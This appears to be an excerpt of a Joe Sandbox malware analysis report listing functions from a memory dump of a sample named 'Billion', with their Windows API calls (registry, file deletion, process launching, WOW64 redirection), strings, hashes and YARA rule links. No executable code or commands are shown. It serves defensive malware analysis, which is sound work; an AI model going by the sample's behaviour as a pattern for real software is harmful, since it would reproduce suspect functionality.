Instruction Fuzzy Hash: 930167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5

Function 001734D6 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 001734EF
SendMessageW.USER32(?,00001328,00000000,?), ref: 00173506
GetWindowDC.USER32(?), ref: 00173512
GetPixel.GDI32(00000000,?,?), ref: 00173521
ReleaseDC.USER32(?,00000000), ref: 00173533
GetSysColor.USER32(00000005), ref: 0017354D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 62f8715dfce7d9db511e5b9ebc6210e000b529fe4b230aaf9364e0766a253872
Instruction ID: 36dc2918820484311e9fb088d26ad3e27f4831aaa2e2257d1bf014b15df2db68
Opcode Fuzzy Hash: 62f8715dfce7d9db511e5b9ebc6210e000b529fe4b230aaf9364e0766a253872
Instruction Fuzzy Hash: 7C012431600215EFDB505BA4EC08FEABFB1FB08321F514170FA2AA25A1CB315E92AB10

Function 001921C1 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 001921CC
UnloadUserProfile.USERENV(?,?), ref: 001921D8
CloseHandle.KERNEL32(?), ref: 001921E1
CloseHandle.KERNEL32(?), ref: 001921E9
GetProcessHeap.KERNEL32(00000000,?), ref: 001921F2
HeapFree.KERNEL32(00000000), ref: 001921F9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 847a29b899a74e27c5508417b4dd8e28f67029415444ec7043164e43cc80a087
Instruction ID: f44bc7030d1c96e691dd24db9c5bdca857b572fb1a871721353a8b2b3cbcaa67
Opcode Fuzzy Hash: 847a29b899a74e27c5508417b4dd8e28f67029415444ec7043164e43cc80a087
Instruction Fuzzy Hash: BDE075B6104505BBDB011FA6FC0DD4ABF79FF49722B554635F22582870CB32D4A2DB51

Function 0013CF80 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0013D253

Strings

t5 , xrefs: 0013CFCF
t5 , xrefs: 0013CFC8
t5 , xrefs: 0013D23A
`, xrefs: 0013CFB0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Init_thread_footer
String ID: t5 $t5 $t5 $`
API String ID: 1385522511-3168467761
Opcode ID: 465fb2e53fc309b12e167655d4a360b0722f30df5e053fec1579eaed154fe092
Instruction ID: 72143eea851246727d7e3c9c0503edb09579ee1148c0b24022c3ee872bf2b4a5
Opcode Fuzzy Hash: 465fb2e53fc309b12e167655d4a360b0722f30df5e053fec1579eaed154fe092
Instruction Fuzzy Hash: 69915CB5A00206CFCB18CF58E4906AABBF1FF58710F65815AE955AB351D731EE82CF90

Function 001BB7C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 001BB903

Part of subcall function 001341EA: _wcslen.LIBCMT ref: 001341EF

GetProcessId.KERNEL32(00000000), ref: 001BB998
CloseHandle.KERNEL32(00000000), ref: 001BB9C7

Strings

@, xrefs: 001BB8D2
<, xrefs: 001BB8CB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 4651ef4b7fe3951e2c96b75d4d4997510d49c74a9038fdcc427099e96db992d1
Instruction ID: 76437b7ae226bd641c7c40c572237b7890785d5dc35694a65e6300ecdec3458e
Opcode Fuzzy Hash: 4651ef4b7fe3951e2c96b75d4d4997510d49c74a9038fdcc427099e96db992d1
Instruction Fuzzy Hash: 8B7177B5A00615DFCB14EF94C495A9EBBF4FF08304F0484A9E856AB7A2CB70ED45CB90

Function 00197B05 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00197B6D
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00197BA3
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00197BB4
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00197C36

Strings

DllGetClassObject, xrefs: 00197BA9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: a44999ee5c5960da79ac8692744a584d8295d51529ff5d1cdb86908a8d65dbf6
Instruction ID: dc25a18d6e256484e50ba8df48136a7ea07de0c229978e771340c5347ee66f06
Opcode Fuzzy Hash: a44999ee5c5960da79ac8692744a584d8295d51529ff5d1cdb86908a8d65dbf6
Instruction Fuzzy Hash: 5441CFB1614205EFDF15CF64D884AAA7BB9EF44710F1480ADED0A9F285D7B0EE40CBA0

Function 001C4818 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001C48D1
IsMenu.USER32(?), ref: 001C48E6
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001C492E
DrawMenuBar.USER32 ref: 001C4941

Strings

0, xrefs: 001C4825

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 5d63d3e31c6ba2885a340825d1d7948e204bd074755a55e6ff57fc87afd1f6dc
Instruction ID: 2cc6e5c3fc5fc7a6c979b8fdd383beec265b294a86e28653e797eada67069747
Opcode Fuzzy Hash: 5d63d3e31c6ba2885a340825d1d7948e204bd074755a55e6ff57fc87afd1f6dc
Instruction Fuzzy Hash: FF414775A04219EFDB10CF91E894EAABBB9FF1A328F04412DF955A7250C730ED45CBA0

Function 0019272F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 001927B3
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 001927C6
SendMessageW.USER32(?,00000189,?,00000000), ref: 001927F6

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

Strings

ComboBox, xrefs: 0019273D
ListBox, xrefs: 00192772

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 83d23a3895db04e712994aa962e7e47635c63337b5432b9c6dd36b2d6ea94980
Instruction ID: c56db0e3d9ca56ba5299d5905c85c3528769a811a23aa32b40167c7ab5191f26
Opcode Fuzzy Hash: 83d23a3895db04e712994aa962e7e47635c63337b5432b9c6dd36b2d6ea94980
Instruction Fuzzy Hash: 34210871A00104BFDF09ABA4DC86DFFBBB8DF553A4F104129F521A71E1DB34894ADA60

Function 001C39B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 001C3A29
LoadLibraryW.KERNEL32(?), ref: 001C3A30
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 001C3A45
DestroyWindow.USER32(?), ref: 001C3A4D

Strings

SysAnimate32, xrefs: 001C3A04

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: b64e23a283b3bfdacf994ce23b6b6c57ca18ed188a63375c5c1d061c1bdafe34
Instruction ID: 4cdd8c505acbe899e061a568d8854ef5e1a18e97100630fb50b58b9881c0342d
Opcode Fuzzy Hash: b64e23a283b3bfdacf994ce23b6b6c57ca18ed188a63375c5c1d061c1bdafe34
Instruction Fuzzy Hash: F621A171600609AFEF109F64EC84FBB77A9EB65368F109229FAA1D31D0C771CD619760

Function 001C9A25 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

GetCursorPos.USER32(?), ref: 001C9A5D
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 001C9A72
GetCursorPos.USER32(?), ref: 001C9ABA
DefDlgProcW.USER32(?,0000007B,?,?,?,?), ref: 001C9AF0

Strings

( , xrefs: 001C9A30

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID: (
API String ID: 2864067406-2181176062
Opcode ID: 83d495dd215d71df032c1e16893c85d89683d016bd78e6203a9890cd7ba378f6
Instruction ID: 38a8cfc2cb2fe404609da1c8a9b7449c96a8eabb3334510d18d6b42b1dd4a410
Opcode Fuzzy Hash: 83d495dd215d71df032c1e16893c85d89683d016bd78e6203a9890cd7ba378f6
Instruction Fuzzy Hash: 5B217736600118FFCF298F94D88CEAA7BB9EB49350F504169FA058B1A2D731D990DB61

Function 00131AAC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00131AF4
GetClientRect.USER32(?,?), ref: 001731F9
GetCursorPos.USER32(?), ref: 00173203
ScreenToClient.USER32(?,?), ref: 0017320E

Strings

( , xrefs: 00131AB2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID: (
API String ID: 4127811313-2181176062
Opcode ID: fba11abdd9c6056f33fff72cd14a5adcdd4229c5ffa802e3fac785038fc077da
Instruction ID: 45514d80114b61ce12ebcaecb24f113a024077bba696dcf0f63e1c9d74533ec3
Opcode Fuzzy Hash: fba11abdd9c6056f33fff72cd14a5adcdd4229c5ffa802e3fac785038fc077da
Instruction Fuzzy Hash: B5118831A01129FBCB00DFA8D88ADEEBBB8EB04341F504462E916E3140C770FA91DBB1

Function 001550DD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0015508E,?,?,0015502E,?,001F98D8,0000000C,00155185,?,00000002), ref: 001550FD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00155110
FreeLibrary.KERNEL32(00000000,?,?,?,0015508E,?,?,0015502E,?,001F98D8,0000000C,00155185,?,00000002,00000000), ref: 00155133

Strings

CorExitProcess, xrefs: 00155108
mscoree.dll, xrefs: 001550F6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 655226f1c4885e841067a45bd70e81b7bba435b0cd36a8c863c6255e4fce51a6
Instruction ID: aec20ccfd108de9c1d6a2fe5410646958a6d5d67e5be4db8cbd2c7296c5dfa08
Opcode Fuzzy Hash: 655226f1c4885e841067a45bd70e81b7bba435b0cd36a8c863c6255e4fce51a6
Instruction Fuzzy Hash: A4F04F31A00608FBDB119F95EC59FADBFB5EF08752F040069F809A6660DB749A84CA91

Function 0018E778 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0018E785
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0018E797
FreeLibrary.KERNEL32(00000000), ref: 0018E7BD

Strings

X64, xrefs: 0018E680
GetSystemWow64DirectoryW, xrefs: 0018E791

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: f470bcb4b83b6570692f242d982e3a71477fe22f19f5597ccb18cad9ad6a67f0
Instruction ID: 2c595f1808b6a4dd54cd1367c77263efd3858f9803d9c7d248620630835c4c94
Opcode Fuzzy Hash: f470bcb4b83b6570692f242d982e3a71477fe22f19f5597ccb18cad9ad6a67f0
Instruction Fuzzy Hash: 19E06171801620DFD77577205C48E6A7694AF10B01F260568FC01F2060EB30CF84CF94

Function 0013663E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,0013668B,?,?,001362FA,?,00000001,?,?,00000000), ref: 0013664A
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0013665C
FreeLibrary.KERNEL32(00000000,?,?,0013668B,?,?,001362FA,?,00000001,?,?,00000000), ref: 0013666E

Strings

kernel32.dll, xrefs: 00136642
Wow64DisableWow64FsRedirection, xrefs: 00136656

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 67f34d80477ff270dcce71c10f0fd2cf597d52b97a02b930fac382be0e86b389
Instruction ID: 4f5d16e15d52d00feb199623ec447a041a49afbbaebffac8d8727d01605aa576
Opcode Fuzzy Hash: 67f34d80477ff270dcce71c10f0fd2cf597d52b97a02b930fac382be0e86b389
Instruction Fuzzy Hash: 22E0CD3560152227D2112725BC0EF6FA9689F92F62F094139FD04D2150DF54CC4180F5

Function 00136607 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00175657,?,?,001362FA,?,00000001,?,?,00000000), ref: 00136610
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00136622
FreeLibrary.KERNEL32(00000000,?,?,00175657,?,?,001362FA,?,00000001,?,?,00000000), ref: 00136635

Strings

kernel32.dll, xrefs: 00136609
Wow64RevertWow64FsRedirection, xrefs: 0013661C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 14231ee693de94dde6131956cc3c0047d48c593cbbe0e9b99445d5fe9197e0f2
Instruction ID: 578c7da05548741f988f4f957fb3d0da43caeac0f2eb1c46496896c39fd84527
Opcode Fuzzy Hash: 14231ee693de94dde6131956cc3c0047d48c593cbbe0e9b99445d5fe9197e0f2
Instruction Fuzzy Hash: 87D05B7561293177C23227257C1AE9F6F249FD1F513194039F904A2134CF60CD41C5D9

Function 001A3306 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 001A35C4
DeleteFileW.KERNEL32(?), ref: 001A3646
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 001A365C
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 001A366D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 001A367F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 36a0f47adf65a686323b9ab4be6008e95d9973d6d17c04f95502cea9f002b811
Instruction ID: 86ca3af4e143eaaf05df818d79be705d04543babe40864366de423c178fc70a9
Opcode Fuzzy Hash: 36a0f47adf65a686323b9ab4be6008e95d9973d6d17c04f95502cea9f002b811
Instruction Fuzzy Hash: 46B17D76E00219ABDF15DBA4CC85FDEBBBDEF19314F0040AAF519E6141EB349B448B61

Function 001BADE7 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 001BAE87
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 001BAE95
GetProcessIoCounters.KERNEL32(00000000,?), ref: 001BAEC8
CloseHandle.KERNEL32(?), ref: 001BB09D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 4c21ad464367c8d1b70d523ec03240b0a07b114a36fb25b94eb5a34e9310fd07
Instruction ID: 267e8ba3fac03c47c0199142899c5f76b4e5a211f857712738599426cdd954ea
Opcode Fuzzy Hash: 4c21ad464367c8d1b70d523ec03240b0a07b114a36fb25b94eb5a34e9310fd07
Instruction Fuzzy Hash: 3FA1B0B1A04301AFE720EF24C886F2AB7E5AF54710F54885DF5999B6D2DBB1EC40CB81

Function 001BC429 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001BD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001BC10E,?,?), ref: 001BD415
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD451
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4C8
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001BC505
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001BC560
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 001BC5C3
RegCloseKey.ADVAPI32(?,?), ref: 001BC606
RegCloseKey.ADVAPI32(00000000), ref: 001BC613

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
